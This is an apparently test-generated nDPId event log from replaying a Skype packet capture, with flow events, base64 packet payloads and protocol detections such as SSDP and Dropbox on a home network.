+00488{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2553,"source":"skype.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":14,"flow_first_seen":1431969658978,"flow_last_seen":1431969677390,"flow_tot_l4_data_len":852,"flow_min_l4_data_len":20,"flow_max_l4_data_len":104,"flow_avg_l4_data_len":60,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.44","src_port":50036,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00457{"flow_id":276,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2554,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969741,"pkt_ts_usec":292951,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLh7wAAEARb3LAqAEiwKgBAfe9ADUAN4CxqiYBAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAABAAE="} +00457{"flow_id":277,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2555,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969741,"pkt_ts_usec":293099,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLtQQAAEARQirAqAEiwKgBAf4NADUANx167A0BAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAAcAAE="} +00804{"flow_id":23,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2562,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969742,"pkt_ts_usec":365609,"pkt_caplen":343,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":343,"pkt_l4_len":309,"pkt":"PBXCt3IO0NQSxnP1CABFAAFJCUtAADQGY8tsoKouwKgBIgG7wSW4YenMqCbVRIAYAE+qkQAAAQEICmF6ztI+I3o6FwMBARDomDRC9tnU\/exAVC59HZPlEBW4rHeYicAzJ9Yo0Ees\/wMPsuDWIc9hCCUxarvHcZ19ZOXniHKoqEwFGFsxlBMnqF983iXzs4Ynpy4FeuPjfx841vRmTU+g6x2y3wWqnDLKBif9hjEV+q0Otvz1I9aTRlaCaRrqii2xzU1UlVzO2uuCVbfcDxrKUz0yrDO6G8lGCa4\/MlcQvm5H+k1a6Ixj7cii3DGdvIn73tTBKLcoiEBpQvuHlTOznFl6\/2MAlPmCpWlUEi815rMJLcNqendQ2Yy0vjL3Hx8fW+k80UUU8OLNEA0T3b9IpL0NiCziwQt9nyF5sZf9\/X6whqFZX+OeA6yRDmcN91vQkWrGQVmUDw=="} +00426{"flow_id":23,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2563,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969742,"pkt_ts_usec":365687,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0UZNAAEAGEJjAqAEibKCqLsElAbuoJtVEuGHq4YAQD\/cskwAAAQEICj4kD5lhes7S"} +01712{"flow_id":23,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2564,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969742,"pkt_ts_usec":368354,"pkt_caplen":1020,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1020,"pkt_l4_len":986,"pkt":"0NQSxnP1PBXCt3IOCABFAAPuHjxAAEAGQDXAqAEibKCqLsElAbuoJtVEuGHq4YAYEADuGAAAAQEICj4kD5thes7SFwMBACBZ3ZKcXmiBOk8D3IqoiB5thIyobcGXKCD31gMfT+5A7hcDAQOQO7JLMoFeqVUWWmFcMdC2n5EJzzwS3YP5oZXZUFNTlPrB+a2ONgY4rboRQssilQ2K11Qjncw1AF9QP3kbPUEWtFQPwaf3YOKe2do45hKGhxsHeM3OE0suxeg7aufNBuoh\/So7tuMtBMs5J+i4Fcbt9YPNjgoB6HiLnLN8m0mwYVSekxbPaw1OSUIrtpuiI8YTcNv\/G6DI\/4SjAShssstqlUpRosFhRCBeyH8I5ssp5H0fRNw9LyXfTzPSgDUATp+z7J5tL0z7z0UwAlB5WOe2DIp5zAEmNoipVm1WkhIonL0bpVviHpmF6JeaJu9YuR+qY0OxaF5lv9InlxjedoREa7AQa086chZTRieU+Iwnn4eNA40uMLQe4NJ61OMnhR0OBTgAp+GIzLqYbAN8FhVaqql1eX24uT+XRklcpQqlf1YilU9Nx+B3RTODIyCusKmXQimXtaQOf8d3ZoNo3ZVbme+6m0ska74FBwiI4fpJdo5OVdSUJM+b+HJtmvnKNuaTFljN3f4rdPUtBOH3rriKzK8EgJOFWSXosTVQHRuZ9IZvqvH+eqqjiSjf6FPYaYgiIK+gyDl6wzWbYQgW8X0jEPo8pWNfo6jldR4WBu6Sp1ct33wKW+M5G8AbE0tKxJpjAJVeEczXfpfUiikFjTctJNm936lqB368qHztej94vu3mzkfAOsrj3vkAo6zEpPOAoKrO4VtJ0PhhP47MLOQE++bojbpOyZ5BQ3Dwd\/m4BbHJLKxhx9uTroFmNxGncddLUYaqJhRxP05rUvaHtVjgsQHR8uGMmKFzJ8OzcPWwFkov3C\/sWuxMFnbVoNIAfeM5HRMNvhN0lioecbScAH2z0BOKPm5afUtSZJSqMrcxgURrI0Hyl45TvWFJHSZwwP9esxP4tWpzvHqDzDFDvrsTKj5+drUTa1My+HQaxS7X0IzhNZh6FR7hZuENXh+2rSKFSxbrocQOehW71KB\/0xoR8AfBBt7NC7gxIGWU430rERFOm8BwgjU05UNW2+bVOWaL+B9iGyH1fSzrgbz9TWDmL3kZ624JvqR31IegpjiHJAstkRJ3ZvM6rk0ReJLanvVh3UpP6GqWM9HHW0Vj4\/RVAF35SqAeAYfUiw2yJGB7augJIlPoKVmMr+f4Txia+zEbKl6QnUGNJ4c3LfW6YKMGlnck\/ka7do4zzRPExB\/z2iaNO0yPcrToM+Fu\/Qgzqzr7"} +00426{"flow_id":23,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2565,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969742,"pkt_ts_usec":508305,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0CUxAADQGZN9soKouwKgBIgG7wSW4YerhqCbY\/oAQAFM4VwAAAQEICmF6zvY+JA+b"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2593,"source":"skype.pcap","alias":"nDPId-test","flow_id":284,"flow_packet_id":1,"flow_first_seen":1431969745776,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"239.255.255.250","src_port":56886,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00581{"flow_id":284,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2593,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969745,"pkt_ts_usec":776534,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6PBXCt3IOCABFAACh3hQAAAERKXPAqAEi7\/\/\/+t42B2wAjVUWTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KTVg6IDINCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpNQU46ICJzc2RwOmRpc2NvdmVyIg0KU1Q6IHVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6V0FOUFBQQ29ubmVjdGlvbjoxDQoNCg=="} +00513{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2593,"source":"skype.pcap","alias":"nDPId-test","flow_id":284,"flow_packet_id":1,"flow_first_seen":1431969745776,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"239.255.255.250","src_port":56886,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00578{"flow_id":284,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2594,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969745,"pkt_ts_usec":776598,"pkt_caplen":174,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":174,"pkt_l4_len":140,"pkt":"AQBef\/\/6PBXCt3IOCABFAACg2\/EAAAERK5fAqAEi7\/\/\/+t42B2wAjLsJTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KTVg6IDINCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpNQU46ICJzc2RwOmRpc2NvdmVyIg0KU1Q6IHVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6V0FOSVBDb25uZWN0aW9uOjENCg0K"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2595,"source":"skype.pcap","alias":"nDPId-test","flow_id":285,"flow_packet_id":1,"flow_first_seen":1431969745776,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"239.255.255.250","src_port":64560,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00581{"flow_id":285,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2595,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969745,"pkt_ts_usec":776670,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6PBXCt3IOCABFAAChjL0AAAEResrAqAEi7\/\/\/+vwwB2wAjTccTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KTVg6IDINCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpNQU46ICJzc2RwOmRpc2NvdmVyIg0KU1Q6IHVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6V0FOUFBQQ29ubmVjdGlvbjoxDQoNCg=="} +00513{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2595,"source":"skype.pcap","alias":"nDPId-test","flow_id":285,"flow_packet_id":1,"flow_first_seen":1431969745776,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"239.255.255.250","src_port":64560,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00577{"flow_id":285,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2596,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969745,"pkt_ts_usec":776721,"pkt_caplen":174,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":174,"pkt_l4_len":140,"pkt":"AQBef\/\/6PBXCt3IOCABFAACgyNwAAAERPqzAqAEi7\/\/\/+vwwB2wAjJ0PTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KTVg6IDINCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpNQU46ICJzc2RwOmRpc2NvdmVyIg0KU1Q6IHVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6V0FOSVBDb25uZWN0aW9uOjENCg0K"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2597,"source":"skype.pcap","alias":"nDPId-test","flow_id":286,"flow_packet_id":1,"flow_first_seen":1431969745776,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":49511,"dst_port":5351,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00409{"flow_id":286,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2597,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969745,"pkt_ts_usec":776832,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoljUAAEARYRzAqAEiwKgBAcFnFOcAFDI4AAEAADLdMt0AAA4Q"} +00449{"flow_id":236,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2598,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969745,"pkt_ts_usec":780447,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"PBXCt3IO0NQSxnP1CABFwABEBYUAAEAB8QDAqAEBwKgBIgMDgJYAAAAARQAAKJY1AABAEWEcwKgBIsCoAQHBZxTnABQyOAABAAAy3TLdAAAOEA=="} +00408{"flow_id":286,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2605,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969746,"pkt_ts_usec":31995,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoS5QAAEARq73AqAEiwKgBAcFnFOcAFDI4AAEAADLdMt0AAA4Q"} +00449{"flow_id":236,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2606,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969746,"pkt_ts_usec":34235,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"PBXCt3IO0NQSxnP1CABFwABEBYYAAEAB8P\/AqAEBwKgBIgMDgJYAAAAARQAAKEuUAABAEau9wKgBIsCoAQHBZxTnABQyOAABAAAy3TLdAAAOEA=="} +00410{"flow_id":286,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2621,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969746,"pkt_ts_usec":545995,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAo\/FMAAEAR+v3AqAEiwKgBAcFnFOcAFDI4AAEAADLdMt0AAA4Q"} +00449{"flow_id":236,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2622,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969746,"pkt_ts_usec":547896,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"PBXCt3IO0NQSxnP1CABFwABEBYcAAEAB8P7AqAEBwKgBIgMDgJYAAAAARQAAKPxTAABAEfr9wKgBIsCoAQHBZxTnABQyOAABAAAy3TLdAAAOEA=="} +00457{"flow_id":272,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2627,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969746,"pkt_ts_usec":803369,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"0NQSxnP1PBXCt3IOCABFAABKUvYAAEARpDnAqAEiwKgBAdxDADUANtEePu0BAAABAAAAAAAAAzMzNQEwATcBNwEzBHJzdDUBcgVza3lwZQNuZXQAABwAAQ=="} +00457{"flow_id":271,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2628,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969746,"pkt_ts_usec":803502,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"0NQSxnP1PBXCt3IOCABFAABKe1gAAEARe9fAqAEiwKgBAc4GADUANhjrBXkBAAABAAAAAAAAAzMzNQEwATcBNwEzBHJzdDUBcgVza3lwZQNuZXQAAAEAAQ=="} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2629,"source":"skype.pcap","alias":"nDPId-test","flow_id":287,"flow_packet_id":1,"flow_first_seen":1431969746885,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01082{"flow_id":287,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2629,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969746,"pkt_ts_usec":885173,"pkt_caplen":544,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":544,"pkt_l4_len":510,"pkt":"\/\/\/\/\/\/\/\/PBXCt3IOCABFAAISe9sAAEAROzbAqAEi\/\/\/\/\/0RcRFwB\/vqceyJob3N0X2ludCI6IDE1NzMxOTU0NDUsICJ2ZXJzaW9uIjogWzEsIDhdLCAiZGlzcGxheW5hbWUiOiAiIiwgInBvcnQiOiAxNzUwMCwgIm5hbWVzcGFjZXMiOiBbMTQ4MTkzMzcsIDE3NjA5OTYzLCAyMDY0OTM0OSwgMjg1MjE2MDcsIDU4MzQ0OTk2LCA2MDU5NDk4MywgNjQ0MzYwOTksIDk2ODUzMjI0LCA5OTQ2OTc3MywgMTAxMDQ3OTk2LCAxMDgxNTkxMDIsIDEyNTU0MDU2NiwgMTc2OTY0MzA3LCAyNDM2ODI5ODYsIDI0NzkyNTA4NSwgMjYwNDY1MjYxLCAyNzA0MDQ3NDIsIDI4Mzg2MTQ1NywgNDI0NTQwMTk3LCA0NDgzOTczOTMsIDQ1MTQ3MjY1OCwgNTExNzA2NjQyLCA1NjgzOTU4MzMsIDU5NDI0Njk1NCwgNTk4MDYxMDY2LCA2MTU5ODMzNzksIDcyMDA1ODM2MSwgNzM1MDUxODMwLCA3MzYzNDE1MjgsIDc0MTI1NTYxMywgNzc2MDg3MjQ3LCA3ODA4NzA1ODEsIDc4Mjk4MTk0OSwgNzg1MjY2MTc3LCA4MTg3NTI3MTAsIDg1NTY4MjM5MCwgODg0MTIwMTMyLCA5MDg5MTQ4NjhdfQ=="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2629,"source":"skype.pcap","alias":"nDPId-test","flow_id":287,"flow_packet_id":1,"flow_first_seen":1431969746885,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2630,"source":"skype.pcap","alias":"nDPId-test","flow_id":288,"flow_packet_id":1,"flow_first_seen":1431969746885,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01078{"flow_id":288,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2630,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969746,"pkt_ts_usec":885498,"pkt_caplen":544,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":544,"pkt_l4_len":510,"pkt":"\/\/\/\/\/\/\/\/PBXCt3IOCABFAAISdZwAAEARfs3AqAEiwKgB\/0RcRFwB\/jf1eyJob3N0X2ludCI6IDE1NzMxOTU0NDUsICJ2ZXJzaW9uIjogWzEsIDhdLCAiZGlzcGxheW5hbWUiOiAiIiwgInBvcnQiOiAxNzUwMCwgIm5hbWVzcGFjZXMiOiBbMTQ4MTkzMzcsIDE3NjA5OTYzLCAyMDY0OTM0OSwgMjg1MjE2MDcsIDU4MzQ0OTk2LCA2MDU5NDk4MywgNjQ0MzYwOTksIDk2ODUzMjI0LCA5OTQ2OTc3MywgMTAxMDQ3OTk2LCAxMDgxNTkxMDIsIDEyNTU0MDU2NiwgMTc2OTY0MzA3LCAyNDM2ODI5ODYsIDI0NzkyNTA4NSwgMjYwNDY1MjYxLCAyNzA0MDQ3NDIsIDI4Mzg2MTQ1NywgNDI0NTQwMTk3LCA0NDgzOTczOTMsIDQ1MTQ3MjY1OCwgNTExNzA2NjQyLCA1NjgzOTU4MzMsIDU5NDI0Njk1NCwgNTk4MDYxMDY2LCA2MTU5ODMzNzksIDcyMDA1ODM2MSwgNzM1MDUxODMwLCA3MzYzNDE1MjgsIDc0MTI1NTYxMywgNzc2MDg3MjQ3LCA3ODA4NzA1ODEsIDc4Mjk4MTk0OSwgNzg1MjY2MTc3LCA4MTg3NTI3MTAsIDg1NTY4MjM5MCwgODg0MTIwMTMyLCA5MDg5MTQ4NjhdfQ=="} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2630,"source":"skype.pcap","alias":"nDPId-test","flow_id":288,"flow_packet_id":1,"flow_first_seen":1431969746885,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2631,"source":"skype.pcap","alias":"nDPId-test","flow_id":289,"flow_packet_id":1,"flow_first_seen":1431969747141,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01082{"flow_id":289,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2631,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969747,"pkt_ts_usec":141667,"pkt_caplen":544,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":544,"pkt_l4_len":510,"pkt":"\/\/\/\/\/\/\/\/xCwDBkn+CABFAAISeR0AAEARPbrAqAFc\/\/\/\/\/0RcRFwB\/v9VeyJob3N0X2ludCI6IDMzNzUzNTk1OTMsICJ2ZXJzaW9uIjogWzEsIDhdLCAiZGlzcGxheW5hbWUiOiAiIiwgInBvcnQiOiAxNzUwMCwgIm5hbWVzcGFjZXMiOiBbMTQ4MTkzMzcsIDE3NjA5OTYzLCAyMDY0OTM0OSwgMjg1MjE2MDcsIDU4MzQ0OTk2LCA2MDU5NDk4MywgNjQ0MzYwOTksIDk2ODUzMjI0LCA5OTQ2OTc3MywgMTAxMDQ3OTk2LCAxMDgxNTkxMDIsIDEyNTU0MDU2NiwgMTc2OTY0MzA3LCAyNDM2ODI5ODYsIDI0NzkyNTA4NSwgMjYwNDY1MjYxLCAyNzA0MDQ3NDIsIDI4Mzg2MTQ1NywgNDI0NTQwMTk3LCA0NDgzOTczOTMsIDQ1MTQ3MjY1OCwgNTExNzA2NjQyLCA1NjgzOTU4MzMsIDU5NDI0Njk1NCwgNTk4MDYxMDY2LCA2MTU5ODMzNzksIDcyMDA1ODM2MSwgNzM1MDUxODMwLCA3MzYzNDE1MjgsIDc0MTI1NTYxMywgNzc2MDg3MjQ3LCA3ODA4NzA1ODEsIDc4Mjk4MTk0OSwgNzg1MjY2MTc3LCA4MTg3NTI3MTAsIDg1NTY4MjM5MCwgODg0MTIwMTMyLCA5MDg5MTQ4NjhdfQ=="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2631,"source":"skype.pcap","alias":"nDPId-test","flow_id":289,"flow_packet_id":1,"flow_first_seen":1431969747141,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2632,"source":"skype.pcap","alias":"nDPId-test","flow_id":290,"flow_packet_id":1,"flow_first_seen":1431969747142,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01078{"flow_id":290,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2632,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969747,"pkt_ts_usec":142346,"pkt_caplen":544,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":544,"pkt_l4_len":510,"pkt":"\/\/\/\/\/\/\/\/xCwDBkn+CABFAAISXjYAAEARlfnAqAFcwKgB\/0RcRFwB\/jyueyJob3N0X2ludCI6IDMzNzUzNTk1OTMsICJ2ZXJzaW9uIjogWzEsIDhdLCAiZGlzcGxheW5hbWUiOiAiIiwgInBvcnQiOiAxNzUwMCwgIm5hbWVzcGFjZXMiOiBbMTQ4MTkzMzcsIDE3NjA5OTYzLCAyMDY0OTM0OSwgMjg1MjE2MDcsIDU4MzQ0OTk2LCA2MDU5NDk4MywgNjQ0MzYwOTksIDk2ODUzMjI0LCA5OTQ2OTc3MywgMTAxMDQ3OTk2LCAxMDgxNTkxMDIsIDEyNTU0MDU2NiwgMTc2OTY0MzA3LCAyNDM2ODI5ODYsIDI0NzkyNTA4NSwgMjYwNDY1MjYxLCAyNzA0MDQ3NDIsIDI4Mzg2MTQ1NywgNDI0NTQwMTk3LCA0NDgzOTczOTMsIDQ1MTQ3MjY1OCwgNTExNzA2NjQyLCA1NjgzOTU4MzMsIDU5NDI0Njk1NCwgNTk4MDYxMDY2LCA2MTU5ODMzNzksIDcyMDA1ODM2MSwgNzM1MDUxODMwLCA3MzYzNDE1MjgsIDc0MTI1NTYxMywgNzc2MDg3MjQ3LCA3ODA4NzA1ODEsIDc4Mjk4MTk0OSwgNzg1MjY2MTc3LCA4MTg3NTI3MTAsIDg1NTY4MjM5MCwgODg0MTIwMTMyLCA5MDg5MTQ4NjhdfQ=="} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2632,"source":"skype.pcap","alias":"nDPId-test","flow_id":290,"flow_packet_id":1,"flow_first_seen":1431969747142,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} 